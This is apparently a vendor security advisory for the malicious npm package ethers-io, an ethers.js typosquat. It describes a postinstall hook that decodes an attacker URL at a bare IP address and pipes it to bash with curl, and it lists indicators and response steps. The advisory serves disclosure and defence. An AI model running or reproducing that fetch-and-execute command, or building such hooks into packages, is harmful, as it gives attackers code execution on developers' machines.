Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

ethers-ionpm

Malicious code in ethers-io (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-3708
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall ethers-io

What this malware does

The package's package.json declares a postinstall script that base64-decodes a hidden URL (http://8.217.75.147:3000/payload) and pipes the HTTP response directly to bash via curl -s <url> | bash. On every npm install, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name ethers-io and its stated purpose as "I/O utilities for ethers.js" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at github.com/ethers-utils/ethers-io rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.

The OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged
1.0.02.0.0

Indicators of compromise (SHA-256)

096fee7452967418fa149986d5ef661f3292d844524b58d3c3ca2b2e1b8cffc0
53670603313bd7a44e508b5eae7a10e2aa77aff4ebe93bb7f37cfa14ffac16e4
098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14
374ad9e5565581a12e9a891c5fffd853d7d6f548261693d05d2fe40a15001ef4
5c9fe094b4d627b53e4f88fb92a2fbee76337088f6f615c7fdc6ebe95a268a34

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ethers-io (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ethers-io across your stack and pipelines.

  2. If you installed it — respond

    ethers-io establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If ethers-io was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks ethers-io before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ethers-io on npm has been identified as a malicious package (versions 1.0.0, 2.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-002691IN-MAL-2026-002815IN-MAL-2026-002690

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks ethers-io-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

ethers-io (npm) malicious package — MAL-2026-3708 | O3 Security